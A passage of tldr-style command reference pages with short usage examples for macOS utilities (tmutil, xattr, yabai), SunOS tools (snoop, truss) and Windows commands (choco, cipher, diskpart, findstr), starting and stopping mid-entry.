{{us.pool.ntp.org}} -setusingnetworktime on

• Make the machine never sleep and automatically restart on power failure or kernel
panic:

systemsetup -setsleep off -setrestartpowerfailure on -


setrestartfreeze on

• List valid startup disks:

systemsetup -liststartupdisks

• Specify a new startup disk:

systemsetup -setstartupdisk {{path}}


textutil
Used to manipulate text files of various formats.

More information: https://ss64.com/osx/textutil.html.

• Display information about foo.rtf:

textutil -info {{foo.rtf}}

• Convert foo.rtf into foo.html:

textutil -convert {{html}} {{foo.rtf}}

• Convert rich text to normal text:

textutil {{foo.rtf}} -convert {{txt}}

• Convert foo.txt into foo.rtf, using Times 10 for the font:

textutil -convert {{rtf}} -font {{Times}} -fontsize {{10}}


{{foo.txt}}

• Load all RTF files in the current directory, concatenates their contents, and writes
the result out as index.html with the HTML title set to "Several Files":

textutil -cat {{html}} -title "Several Files" -output


{{index.html}} *.rtf
timed
Service that synchronizes system time (e.g. using NTP).

It should not be invoked manually.

• Start the daemon:

timed
tmutil
Utility for managing Time Machine backups. Most verbs require root privileges.

More information: https://ss64.com/osx/tmutil.html.

• Set an HFS+ drive as the backup destination:

sudo tmutil setdestination {{path/to/disk_mount_point}}

• Set an APF share or SMB share as the backup destination:

sudo tmutil setdestination {{protocol://user[:password]@host/


share}}

• Append the given destination to the list of destinations:

sudo tmutil setdestination -a {{destination}}

• Enable automatic backups:

sudo tmutil enable

• Disable automatic backups:

sudo tmutil disable

• Start a backup, if one is not running already, and release control of the shell:

sudo tmutil startbackup

• Start a backup and block until the backup is finished:

sudo tmutil startbackup -b

• Stop a backup:

sudo tmutil stopbackup


top
Display dynamic real-time information about running processes.

More information: https://ss64.com/osx/top.html.

• Start top, all options are available in the interface:

top

• Start top sorting processes by internal memory size (default order - process ID):

top -o mem

• Start top sorting processes first by CPU, then by running time:

top -o cpu -O time

• Start top displaying only processes owned by given user:

top -user {{user_name}}

• Get help about interactive commands:

?
uname
Print details about the current machine and the operating system running on it.

Note: for additional information about the operating system, try the sw_vers
command.

More information: https://ss64.com/osx/uname.html.

• Print kernel name:

uname

• Print system architecture and processor information:

uname -mp

• Print kernel name, kernel release and kernel version:

uname -srv

• Print system hostname:

uname -n

• Print all available system information:

uname -a
universalaccessd
Provides universal access services.

It should not be invoked manually.

• Start the daemon:

universalaccessd
uptime
Tell how long the system has been running and other information.

• Print current time, uptime, number of logged-in users and other information:

uptime
usernoted
Provides notification services.

It should not be invoked manually.

• Start the daemon:

usernoted
uuidgen
Generate new UUID (Universally Unique IDentifier) strings.

More information: https://www.ss64.com/osx/uuidgen.html.

• Generate a UUID string:

uuidgen
valet
A Laravel development environment that allows hosting sites via local tunnels on
http://<example>.test.

More information: https://laravel.com/docs/8.x/valet.

• Start the valet daemon:

valet start

• Register the current working directory as a path that Valet should search for sites:

valet park

• View 'parked' paths:

valet paths

• Serve a single site instead of an entire directory:

valet link app-name

• Share a project via an Ngrok tunnel:

valet share
vpnd
Listens for incoming VPN connections.

It should not be invoked manually.

• Start the daemon:

vpnd

• Run the daemon in the foreground:

vpnd -x

• Run the daemon in the foreground and print logs to the terminal:

vpnd -d

• Run the daemon in the foreground, print logs to the terminal, and quit after
validating arguments:

vpnd -n

• Print usage summary and exit:

vpnd -h

• Run the daemon for a specific server configuration:

vpnd -i {{server_id}}
w
Show who is logged on and what they are doing.

Print user login, TTY, remote host, login time, idle time, current process.

More information: https://ss64.com/osx/w.html.

• Show logged-in users info:

• Show logged-in users info without a header:

w -h

• Show info about logged-in users, sorted by their idle time:

w -i
wacaw
A little command-line tool for macOS that allows you to capture both still pictures and
video from an attached camera.

More information: http://webcam-tools.sourceforge.net.

• Take a picture from webcam:

wacaw {{filename}}

• Record a video:

wacaw --video {{filename}} -D {{duration_in_seconds}}

• Take a picture with custom resolution:

wacaw -x {{width}} -y {{height}} {{filename}}

• Copy image just taken to clipboard:

wacaw --to-clipboard

• List the devices available:

wacaw -L
wc
Count lines, words, or bytes.

More information: https://www.gnu.org/software/coreutils/wc.

• Count lines in file:

wc -l {{path/to/file}}

• Count words in file:

wc -w {{path/to/file}}

• Count characters (bytes) in file:

wc -c {{path/to/file}}

• Count characters in file (taking multi-byte character sets into account):

wc -m {{path/to/file}}

• Use standard input to count lines, words and characters (bytes) in that order:

{{find .}} | wc
whatis
Tool that searches a set of database files containing short descriptions of system
commands for keywords.

More information: http://www.linfo.org/whatis.html.

• Search for information about keyword:

whatis {{keyword}}

• Search for information about multiple keywords:

whatis {{first_keyword}} {{second_keyword}}


whence
A zsh builtin to indicate how a given command would be interpreted.

• Interpret {{command}}, with expansion if defined as an alias (similar to the


command -v builtin):

whence {{command}}

• Display type of {{command}}, with location if defined as a function, or binary


(equivalent to the type and command -V builtins):

whence -v {{command}}

• Same as above, except display content of shell functions instead of location


(equivalent to which builtin):

whence -c {{command}}

• Same as above, but show all occurrences on command path (equivalent to the
where builtin):

whence -ca {{command}}

• Search only the PATH for {{command}}, ignoring builtins, aliases or shell functions
(equivalent to the where command):

whence -p {{command}}
wifi-password
Get the password of the Wi-Fi.

More information: https://github.com/rauchg/wifi-password.

• Get the password for the Wi-Fi you are currently logged onto:

wifi-password

• Get the password for the Wi-Fi with a specific SSID:

wifi-password {{ssid}}

• Print only the password as output:

wifi-password -q
xattr
Utility to work with extended filesystem attributes.

More information: https://ss64.com/osx/xattr.html.

• List key:value extended attributes for a given file:

xattr -l {{file}}

• Write an attribute for a given file:

xattr -w {{attribute_key}} {{attribute_value}} {{file}}

• Delete an attribute from a given file:

xattr -d {{com.apple.quarantine}} {{file}}

• Delete all extended attributes from a given file:

xattr -c {{file}}

• Recursively delete an attribute in a given directory:

xattr -rd {{attribute_key}} {{directory}}


xcode-select
Switch between different versions of Xcode and the included developer tools.

Also used to update the path to Xcode if it is moved after installation.

• Install Xcode's command-line tools:

xcode-select --install

• Select a given path as the active developer directory:

xcode-select -s {{path/to/Xcode.app/Contents/Developer}}

• Select a given Xcode instance and use its developer directory as the active one:

xcode-select -s {{path/to/Xcode.app}}

• Print the currently selected developer directory:

xcode-select -p

• Discard any user-specified developer directory so that it will be found via the
default search mechanism:

sudo xcode-select -r
xcodebuild
Build Xcode projects.

• Build workspace:

xcodebuild -workspace {{workspace_name.workspace}} -scheme


{{scheme_name}} -configuration {{configuration_name}} clean
build SYMROOT={{SYMROOT_path}}

• Build project:

xcodebuild -target {{target_name}} -configuration


{{configuration_name}} clean build SYMROOT={{SYMROOT_path}}

• Show SDKs:

xcodebuild -showsdks
xcrun
Run or locate development tools and properties.

More information: https://www.unix.com/man-page/osx/1/xcrun/.

• Find and run a tool from the active developer directory:

xcrun {{tool}} {{arguments}}

• Show verbose output:

xcrun {{tool}} {{arguments}} --verbose

• Find a tool for a given SDK:

xcrun --sdk {{sdk_name}}

• Find a tool for a given toolchain:

xcrun --toolchain {{name}}

• Display help:

xcrun --help

• Display version:

xcrun --version
xctool
Tool for building Xcode projects.

More information: https://github.com/facebook/xctool.

• Build a single project without any workspace:

xctool -project {{YourProject.xcodeproj}} -scheme


{{YourScheme}} build

• Build a project that is part of a workspace:

xctool -workspace {{YourWorkspace.xcworkspace}} -scheme


{{YourScheme}} build

• Clean, build and execute all the tests:

xctool -workspace {{YourWorkspace.xcworkspace}} -scheme


{{YourScheme}} clean build test
xed
Opens files for editing in Xcode.

• Open file in Xcode:

xed {{file1}}

• Open file(s) in Xcode, create if it doesn't exist:

xed -c {{filename1}}

• Open a file in Xcode and jump to line number 75:

xed -l 75 {{filename}}
xip
Create or expand compressed files in a secure xip archive.

Only archives signed by Apple are trusted, so this tool should not be used to create
archives.

• Expand the archive into the current working directory:

xip --expand {{path/to/file.xip}}


xsltproc
Transform XML with XSLT to produce output (usually HTML or XML).

More information: http://www.xmlsoft.org/xslt/xsltproc.html.

• Transform an XML file with a specific XSLT stylesheet:

xsltproc --output {{output.html}} {{stylesheet.xslt}}


{{xmlfile.xml}}

• Pass a value to a parameter in the stylesheet:

xsltproc --output {{output.html}} --stringparam {{name}}


{{value}} {{stylesheet.xslt}} {{xmlfile.xml}}
yaa
Create and manipulate YAA archives.

• Create an archive from a directory:

yaa archive -d {{path/to/directory}} -o {{path/to/


output.yaa}}

• Create an archive from a file:

yaa archive -i {{path/to/file}} -o {{path/to/output.yaa}}

• Extract an archive to the current directory:

yaa extract -i {{path/to/archive.yaa}}

• List the contents of an archive:

yaa list -i {{path/to/archive.yaa}}

• Create an archive with a specific compression algorithm:

yaa archive -a {{algorithm}} -d {{path/to/directory}} -o


{{path/to/output.yaa}}

• Create an archive with an 8 MB block size:

yaa archive -b {{8m}} -d {{path/to/directory}} -o {{path/to/


output.yaa}}
yabai
A tiling window manager for macOS based on binary space partitioning.

More information: https://github.com/koekeishiya/yabai.

• Set the layout to bsp:

yabai -m config layout {{bsp}}

• Set the window gap to 10pt:

yabai -m config window_gap {{10}}

• Enable opacity:

yabai -m config window_opacity on

• Disable window shadow:

yabai -m config window_shadow off

• Enable status bar:

yabai -m config status_bar on


Sunos
devfsadm
Administration command for /dev. Maintains the /dev namespace.

More information: https://www.unix.com/man-page/sunos/1m/devfsadm.

• Scan for new disks:

devfsadm -c disk

• Cleanup any dangling /dev links and scan for new device:

devfsadm -C -v

• Dry-run - output what would be changed but make no modifications:

devfsadm -C -v -n
dmesg
Write the kernel messages to standard output.

More information: https://www.unix.com/man-page/sunos/1m/dmesg.

• Show kernel messages:

dmesg

• Show how much physical memory is available on this system:

dmesg | grep -i memory

• Show kernel messages 1 page at a time:

dmesg | less
prctl
Get or set the resource controls of running processes,.

Tasks, and projects.

More information: https://www.unix.com/man-page/sunos/1/prctl.

• Examine process limits and permissions:

prctl {{PID}}

• Examine process limits and permissions in machine parsable format:

prctl -P {{PID}}

• Get specific limit for a running process:

prctl -n process.max-file-descriptor {{PID}}


prstat
Report active process statistics.

More information: https://www.unix.com/man-page/sunos/1m/prstat.

• Examine all processes and reports statistics sorted by CPU usage:

prstat

• Examine all processes and reports statistics sorted by memory usage:

prstat -s rss

• Report total usage summary for each user:

prstat -t

• Report microstate process accounting information:

prstat -m

• Print out a list of top 5 CPU using processes every second:

prstat -c -n 5 -s cpu 1
snoop
Network packet sniffer.

SunOS equivalent of tcpdump.

More information: https://www.unix.com/man-page/sunos/1m/snoop.

• Capture packets on a specific network interface:

snoop -d {{e1000g0}}

• Save captured packets in a file instead of displaying them:

snoop -o {{filename}}

• Display verbose protocol layer summary of packets from a file:

snoop -V -i {{filename}}

• Capture network packets that come from a hostname and go to a given port:

snoop to port {{port}} from host {{hostname}}

• Capture and show a hex-dump of network packets exchanged between two IP


addresses:

snoop -x0 -p4 {{ip_address_1}} {{ip_address_2}}


svcadm
Manipulate service instances.

More information: https://www.unix.com/man-page/linux/1m/svcadm.

• Enable a service in the service database:

svcadm enable {{service_name}}

• Disable service:

svcadm disable {{service_name}}

• Restart a running service:

svcadm restart {{service_name}}

• Command service to re-read configuration files:

svcadm refresh {{service_name}}

• Clear a service from maintenance state and command it to start:

svcadm clear {{service_name}}


svccfg
Import, export, and modify service configurations.

More information: https://www.unix.com/man-page/linux/1m/svccfg.

• Validate configuration file:

svccfg validate {{smf.xml}}

• Export service configurations to file:

svccfg export {{servicename}} > {{smf.xml}}

• Import/update service configurations from file:

svccfg import {{smf.xml}}


svcs
List information about running services.

More information: https://www.unix.com/man-page/linux/1/svcs.

• List all running services:

svcs

• List services that are not running:

svcs -vx

• List information about a service:

svcs apache

• Show location of service log file:

svcs -L apache

• Display end of a service log file:

tail $(svcs -L apache)


truss
Troubleshooting tool for tracing system calls.

SunOS equivalent of strace.

More information: https://www.unix.com/man-page/linux/1/truss.

• Start tracing a program by executing it, following all child processes:

truss -f {{program}}

• Start tracing a specific process by its PID:

truss -p {{pid}}

• Start tracing a program by executing it, showing arguments and environment


variables:

truss -a -e {{program}}

• Count time, calls, and errors for each system call and report a summary on
program exit:

truss -c -p {{pid}}

• Trace a process filtering output by system call:

truss -p {{pid}} -t {{system_call_name}}


Windows
assoc
Display or modify file extension associations.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/assoc.

• Display all associated filetypes:

assoc

• Display the associated filetype for a specific extension:

assoc {{.txt}}

• Modify the associated filetype for a specific extension:

assoc {{.txt}}={{txtfile}}
attrib
Displays or changes file and directory attributes.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/attrib.

• Display the attributes of the files in the current directory:

attrib

• Display the attributes of the files in the current directory and sub-directories:

attrib /S

• Display the attributes of the files and directories in the current directory and sub-
directories:

attrib /S /D

• Add the read-only attribute to a file:

attrib +R {{document.txt}}

• Remove the system and hidden attributes of a file:

attrib -S -H {{document.txt}}

• Add the hidden attribute to a directory:

attrib +H {{path\to\directory}}
azcopy
A file transfer tool for uploading to Azure Cloud Storage Accounts.

More information: https://docs.microsoft.com/azure/storage/common/storage-use-


azcopy-v10.

• Log in to an Azure Tenant:

azopy login

• Upload a local file:

azcopy copy '{{path/to/source/file}}' 'https://


{{storage_account_name}}.blob.core.windows.net/
{{container_name}}/{{blob_name}}'

• Upload files with .txt and .jpg extensions:

azcopy copy '{{path/to/source}}' 'https://


{{storage_account_name}}.blob.core.windows.net/
{{container_name}}' --include-pattern '{{*.txt;*.jpg}}'

• Copy a container directly between two Azure storage accounts:

azcopy copy 'https://


{{source_storage_account_name}}.blob.core.windows.net/
{{container_name}}' 'https://
{{destination_storage_account_name}}.blob.core.windows.net/
{{container_name}}'

• Synchronize a local directory and delete files in the destination if they no longer
exist in the source:

azcopy sync '{{path/to/source}}' 'https://


{{storage_account_name}}.blob.core.windows.net/
{{container_name}}' --recursive --delete-destination=true

• Display detailed usage information:

azcopy --help
cd
Displays the name of or changes the current working directory.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/cd.

• Go to a directory in the same drive:

cd {{path/to/directory}}

• Display the name of the current directory:

cd

• Go up to the parent of the current directory:

cd ..

• Go to a directory in a different drive:

cd {{path/to/directory}} /d
chkdsk
Check file system and volume metadata for errors.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/chkdsk.

• Specify the drive letter (followed by a colon), mount point, or volume name to
check:

chkdsk {{volume}}

• Fix errors on a specific volume:

chkdsk {{volume}} /f

• Dismount a specific volume before checking:

chkdsk {{volume}} /x

• Change the log file size to the specified size (only for NTFS):

chkdsk /l{{size}}
choco-apikey
Manage API keys for Chocolatey sources.

More information: https://chocolatey.org/docs/commands-apikey.

• Display a list of sources and their API keys:

choco apikey

• Display a specific source and its API key:

choco apikey --source "{{source_url}}"

• Set an API key for a source:

choco apikey --source "{{source_url}}" --key "{{api_key}}"

• Remove an API key for a source:

choco apikey --source "{{source_url}}" --remove


choco feature
Interact with features with Chocolatey.

More information: https://chocolatey.org/docs/commands-feature.

• Display a list of available features:

choco feature list

• Enable a feature:

choco feature enable --name {{name}}

• Disable a feature:

choco feature disable --name {{name}}


choco info
Display detailed information about a package with Chocolatey.

More information: https://chocolatey.org/docs/commands-info.

• Display information on a specific package:

choco info {{package}}

• Display information for a local package only:

choco info {{package}} --local-only

• Specify a custom source to receive packages information from:

choco info {{package}} --source {{source_url|alias}}

• Provide a username and password for authentication:

choco info {{package}} --user {{username}} --password


{{password}}
choco install
Install one or more packages with Chocolatey.

More information: https://chocolatey.org/docs/commands-install.

• Install one or more space-separated packages:

choco install {{package(s)}}

• Install packages from a custom configuration file:

choco install {{path/to/packages.config}}

• Install a specific nuspec or nupkg file:

choco install {{path/to/file}}

• Install a specific version of a package:

choco install {{package}} --version {{version}}

• Allow installing multiple versions of a package:

choco install {{package}} --allow-multiple

• Confirm all prompts automatically:

choco install {{package}} --yes

• Specify a custom source to receive packages from:

choco install {{package}} --source {{source_url|alias}}

• Provide a username and password for authentication:

choco install {{package}} --user {{username}} --password


{{password}}
choco list
Display a list of packages with Chocolatey.

More information: https://chocolatey.org/docs/commands-list.

• Display all available packages:

choco list

• Display all locally installed packages:

choco list --local-only

• Display a list including local programs:

choco list --include-programs

• Display only approved packages:

choco list --approved-only

• Specify a custom source to display packages from:

choco list --source {{source_url|alias}}

• Provide a username and password for authentication:

choco list --user {{username}} --password {{password}}


choco new
Generate new package specification files with Chocolatey.

More information: https://chocolatey.org/docs/commands-new.

• Create a new package skeleton:

choco new {{package_name}}

• Create a new package with a specific version:

choco new {{package_name}} --version {{version}}

• Create a new package with a specific maintainer name:

choco new {{package_name}} --maintainer {{maintainer_name}}

• Create a new package in a custom output directory:

choco new {{package_name}} --output-directory {{path/to/


directory}}

• Create a new package with specific 32-bit and 64-bit installer URLs:

choco new {{package_name}} url="{{url}}" url64="{{url}}"


choco outdated
Check for outdated packages with Chocolatey.

More information: https://chocolatey.org/docs/commands-outdated.

• Display a list of outdated packages in table format:

choco outdated

• Ignore pinned packages in the output:

choco outdated --ignore-pinned

• Specify a custom source to check packages from:

choco outdated --source {{source_url|alias}}

• Provide a username and password for authentication:

choco outdated --user {{username}} --password {{password}}


choco pack
Package a NuGet specification into a nupkg file.

More information: https://chocolatey.org/docs/commands-pack.

• Package a NuGet specification to a nupkg file:

choco pack {{path/to/specification}}

• Package a NuGet specification specifying the version of the resulting file:

choco pack {{path/to/specification}} --version {{version}}

• Package a NuGet specification to a specific directory:

choco pack {{path/to/specification}} --output-directory


{{path/to/output_directory}}
choco pin
Pin a package at a specific version with Chocolatey.

Pinned packages are skipped automatically when upgrading.

More information: https://chocolatey.org/docs/commands-pin.

• Display a list of pinned packages and their versions:

choco pin list

• Pin a package at its current version:

choco pin add --name {{package}}

• Pin a package at a specific version:

choco pin add --name {{package}} --version {{version}}

• Remove a pin for a specific package:

choco pin remove --name {{package}}


choco search
Search for a local or remote package with Chocolatey.

More information: https://chocolatey.org/docs/commands-search.

• Search for a package:

choco search {{query}}

• Search for a package locally:

choco search {{query}} --local-only

• Only include exact matches in the results:

choco search {{query}} --exact

• Confirm all prompts automatically:

choco search {{query}} --yes

• Specify a custom source to search for packages in:

choco search {{query}} --source {{source_url|alias}}

• Provide a username and password for authentication:

choco search {{query}} --user {{username}} --password


{{password}}
choco source
Manage sources for packages with Chocolatey.

More information: https://chocolatey.org/docs/commands-source.

• List currently available sources:

choco source list

• Add a new package source:

choco source add --name {{name}} --source {{url}}

• Add a new package source with credentials:

choco source add --name {{name}} --source {{url}} --user


{{username}} --password {{password}}

• Add a new package source with a client certificate:

choco source add --name {{name}} --source {{url}} --cert


{{path/to/certificate}}

• Enable a package source:

choco source enable --name {{name}}

• Disable a package source:

choco source disable --name {{name}}

• Remove a package source:

choco source remove --name {{name}}


choco uninstall
Uninstall one or more packages with Chocolatey.

More information: https://chocolatey.org/docs/commands-uninstall.

• Uninstall one or more space-separated packages:

choco uninstall {{package(s)}}

• Uninstall a specific version of a package:

choco uninstall {{package}} --version {{version}}

• Confirm all prompts automatically:

choco uninstall {{package}} --yes

• Remove all dependencies when uninstalling:

choco uninstall {{package}} --remove-dependencies

• Uninstall all packages:

choco uninstall all


choco upgrade
Upgrade one or more packages with Chocolatey.

More information: https://chocolatey.org/docs/commands-upgrade.

• Upgrade one or more space-separated packages:

choco upgrade {{package(s)}}

• Upgrade to a specific version of a package:

choco upgrade {{package}} --version {{version}}

• Upgrade all packages:

choco upgrade all

• Upgrade all except specified comma-separated packages:

choco upgrade all --except "{{package(s)}}"

• Confirm all prompts automatically:

choco upgrade {{package}} --yes

• Specify a custom source to receive packages from:

choco upgrade {{package}} --source {{source_url|alias}}

• Provide a username and password for authentication:

choco upgrade {{package}} --user {{username}} --password


{{password}}
choco
A command-line interface for the Chocolatey package manager.

Some subcommands such as choco install have their own usage documentation.

More information: https://chocolatey.org.

• Execute Chocolatey command:

choco {{command}}

• Call general help:

choco -?

• Call help on a specific command:

choco {{command}} -?

• Check the Chocolatey version:

choco --version
choice
Prompts the user to select one item from a list of single-character choices in a batch
program, and then returns the index of the selected choice.

If used without parameters, choice displays the default choices Y and N.

More information: https://docs.microsoft.com/en-us/windows-server/administration/


windows-commands/choice.

• A,B and C as list of choices to be used:

choice /c {{ABC}}

• Use the default [Y,N] list of choices:

choice

• Specify that the choices are case-sensitive:

choice /CS {{AaBb}}

• Specify the number of seconds to pause before using the default choice specified
by /d:

choice /C {{AaBb}} /t {{3}} /d {{b}}

• Specify a message to display before the list of choices. If /m is not specified, only
the choice prompt is displayed:

choice /m {{message}} /C {{ABC}}

• Display help message:

choice /?
cinst
This command is an alias of choco install.

• View documentation for the original command:

tldr choco install


cipher
Encrypt or decrypt files on NTFS drives.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/cipher.

• Encrypt a file or directory:

cipher /e:{{path/to/file_or_directory}}

• Decrypt a file or directory:

cipher /d:{{path/to/file_or_directory}}

• Securely remove a file or directory:

cipher /w:{{path/to/file_or_directory}}
clip
Copy input content to the Windows clipboard.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/clip.

• Pipe command-line output to the Windows clipboard:

{{dir}} | clip

• Copy the contents of a file to the Windows clipboard:

clip < {{path/to/file.ext}}

• Copy text with a trailing newline to the Windows clipboard:

echo {{some text}} | clip

• Copy text without a trailing newline to the Windows clipboard:

echo | set /p="some text" | clip


clist
This command is an alias of choco list.

• View documentation for the original command:

tldr choco list


cls
Clears the screen.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/cls.

• Clear the screen:

cls
cmd
The Windows command interpreter.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/cmd.

• Start an interactive shell session:

cmd

• Execute a [c]ommand:

cmd /c "{{command}}"

• Execute a script:

cmd {{path/to/file.bat}}

• Execute a command and then enter an interactive shell:

cmd /k "{{command}}"

• Start an interactive shell session where echo is disabled in command output:

cmd /q

• Start an interactive shell session with delayed [v]ariable expansion enabled or


disabled:

cmd /v:{{on|off}}

• Start an interactive shell session with command [e]xtensions enabled or disabled:

cmd /e:{{on|off}}

• Start an interactive shell session with used Unicode encoding:

cmd /u
cmstp
A command-line tool for managing connection service profiles.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/cmstp.

• Install a specific profile:

cmstp "{{path/to/profile}}"

• Install without creating a desktop shortcut:

cmstp /ns "{{path/to/profile}}"

• Install without checking for dependencies:

cmstp /nf "{{path/to/profile}}"

• Only install for the current user:

cmstp /su "{{path/to/profile}}"

• Install for all users (requires administrator privileges):

cmstp /au "{{path/to/profile}}"

• Install silently without any prompts:

cmstp /s "{{path/to/profile}}"

• Uninstall a specific profile:

cmstp /u "{{path/to/profile}}"

• Uninstall silently without a confirmation prompt:

cmstp /u /s "{{path/to/profile}}"
color
Set the console foreground and background colors.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/color.

• Set the console colors to the default values:

color

• List available color values and detailed information:

color /?

• Set the console foreground and background to a specific color using hexadecimal
numbers (1-9,a-f):

color {{foreground_code}}{{background_code}}
comp
Compare the contents of two files or sets of files.

Use wildcards (*) to compare sets of files.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/comp.

• Compare files interactively:

comp

• Compare two specified files:

comp {{path/to/file_1}} {{path/to/file_2}}

• Compare two sets of files:

comp {{path/to/directory_1/*}} {{path/to/directory_2/*}}

• Display differences in decimal format:

comp /d {{path/to/file_1}} {{path/to/file_2}}

• Display differences in ASCII format:

comp /a {{path/to/file_1}} {{path/to/file_2}}

• Display line numbers for differences:

comp /l {{path/to/file_1}} {{path/to/file_2}}

• Compare files case-insensitively:

comp /c {{path/to/file_1}} {{path/to/file_2}}

• Compare only the first 5 lines of each file:

comp /n={{5}} {{path/to/file_1}} {{path/to/file_2}}


cuninst
This command is an alias of choco uninstall.

• View documentation for the original command:

tldr choco uninstall


del
Delete one or more files.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/del.

• Delete one or more space-separated files or patterns:

del {{file_pattern}}

• Prompt for confirmation before deleting each file:

del {{file_pattern}} /p

• Force the deletion of read-only files:

del {{file_pattern}} /f

• Recursively delete file(s) from all subdirectories:

del {{file_pattern}} /s

• Do not prompt when deleting files based on a global wildcard:

del {{file_pattern}} /q

• Display the help and list available attributes:

del /?

• Delete files based on specified attributes:

del {{file_pattern}} /a {{attribute}}


dir
List directory contents.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/dir.

• Show the contents of the current directory:

dir

• Show the contents of a given directory:

dir {{path/to/directory}}

• Show the contents of the current directory, including hidden ones:

dir /A

• Show the contents of a given directory, including hidden ones:

dir {{path/to/directory}} /A
diskpart
Disk, volume and partition manager.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/diskpart.

• Run diskpart by itself in an administrative command prompt to enter its command


line:

diskpart

• List all disks:

list disk

• Select a volume:

select volume {{volume}}

• Assign a drive letter to the selected volume:

assign letter {{letter}}

• Create a new partition:

create partition primary

• Activate the selected volume:

active

• Exit diskpart:

exit
doskey
Manage macros, windows commands and command-lines.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/doskey.

• List available macros:

doskey /macros

• Create a new macro:

doskey {{name}} = "{{command}}"

• Create a new macro for a specific executable:

doskey /exename={{executable}} {{name}} = "{{command}}"

• Remove a macro:

doskey {{name}} =

• Display all commands that are stored in memory:

doskey /history

• Save macros to a file for portability:

doskey /macros > {{macinit}}

• Load macros from a file:

doskey /macrofile = {{macinit}}


driverquery
Display information about installed device drivers.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/driverquery.

• Display a list of all installed device drivers:

driverquery

• Display a list of drivers in the specified format:

driverquery /fo {{table|list|csv}}

• Display a list of drivers with a column to indicate if they are signed:

driverquery /si

• Exclude the header in the output list:

driverquery /nh

• Display a list of drivers for a remote machine:

driverquery /s {{hostname}} /u {{username}} /p {{password}}

• Display a list of drivers with verbose information:

driverquery /v

• Display detailed usage information:

driverquery /?
eventcreate
Create custom entries in the event log.

Event IDs can be any number between 1 and 1000.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/eventcreate.

• Create a new event with a given ID (1-1000) in the log:

eventcreate /t {{success|error|warning|information}} /id


{{id}} /d "{{message}}"

• Create an event in a specific event log:

eventcreate /l {{log_name}} /t {{type}} /id {{id}} /d


"{{message}}"

• Create an event with a specific source:

eventcreate /so {{source_name}} /t {{type}} /id {{id}} /d


"{{message}}"

• Create an event in a remote machine's event log:

eventcreate /s {{hostname}} /u {{username}} /p {{password}} /


t {{type}} /id {{id}} /d "{{message}}"
exit
Quit the current CMD instance or the current batch file.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/exit.

• Quit the current CMD instance:

exit

• Quit the current batch script:

exit /b

• Quit using a specific exit code:

exit {{exit_code}}
expand
Uncompress one or more Windows Cabinet files.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/expand.

• Uncompress a single-file Cabinet file to the specified directory:

expand {{path/to/file.cab}} {{path/to/directory}}

• Display the list of files in a source Cabinet file:

expand {{path/to/file.cab}} {{path/to/directory}} -d

• Uncompress all files from the Cabinet file:

expand {{path/to/file.cab}} {{path/to/directory}} -f:*

• Uncompress a specific file from a Cabinet file:

expand {{path/to/file.cab}} {{path/to/directory}} -f:{{file}}

• Ignore the directory structure when uncompressing, and add them to a single
directory:

expand {{path/to/file.cab}} {{path/to/directory}} -i


explorer
The Windows File Explorer.

More information: https://ss64.com/nt/explorer.html.

• Open Windows Explorer:

explorer

• Open Windows Explorer in the current directory:

explorer .

• Open Windows Explorer in a specific directory:

explorer {{path/to/directory}}
fc
Compare the differences between two files or sets of files.

Use wildcards (*) to compare sets of files.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/fc.

• Compare 2 specified files:

fc {{path/to/file_1}} {{path/to/file_2}}

• Perform a case-insensitive comparison:

fc /c {{path/to/file_1}} {{path/to/file_2}}

• Compare files as Unicode text:

fc /u {{path/to/file_1}} {{path/to/file_2}}

• Compare files as ASCII text:

fc /l {{path/to/file_1}} {{path/to/file_2}}

• Compare files as binary:

fc /b {{path/to/file_1}} {{path/to/file_2}}

• Disable tab-to-space expansion:

fc /t {{path/to/file_1}} {{path/to/file_2}}

• Compress whitespace (tabs and spaces) for comparisons:

fc /w {{path/to/file_1}} {{path/to/file_2}}
find
Find a specified string in one or more files.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/find.

• Find lines that contain a specified string:

find {{string}} {{path/to/file_or_directory}}

• Display lines that do not contain the specified string:

find {{string}} {{path/to/file_or_directory}} /v

• Display the count of lines that contain the specified string:

find {{string}} {{path/to/file_or_directory}} /c

• Display line numbers with the list of lines:

find {{string}} {{path/to/file_or_directory}} /n


findstr
Find specified text within one or more files.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/findstr.

• Find space-separated string(s) in all files:

findstr "{{query}}" *

• Find space-separated string(s) in a piped command's output:

{{dir}} | findstr "{{query}}"

• Find space-separated string(s) in all files recur[s]ively:

findstr /s "{{query}}" *

• Find strings using a case-insensitive search:

findstr /i "{{query}}" *"

• Find strings in all files using regular expressions:

findstr /r "{{expression}}" *

• Find a literal string (containing spaces) in all text files:

findstr /c:"{{query}}" *.txt

• Display the line number before each matching line:

findstr /n "{{query}}" *

• Display only the filenames that contain a match:

findstr /m "{{query}}" *
finger
Return information about one or more users on a specified system.

The remote system must be running the Finger service.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/finger.

• Display information about a specific user:

finger {{user}}@{{host}}

• Display information about all users on the specified host:

finger @{{host}}

• Display information in a longer format:

finger {{user}}@{{host}} -l

• Display help information:

finger /?
fondue
A command-line installer for optional Windows features.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/fondue.

• Enable a specific Windows feature:

fondue /enable-feature:{{feature}}

• Hide all output messages to the user:

fondue /enable-feature:{{feature}} /hide-ux:all

• Specify a caller process name for error reporting:

fondue /enable-feature:{{feature}} /caller-name:{{name}}


for
Conditionally execute a command several times.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/for.

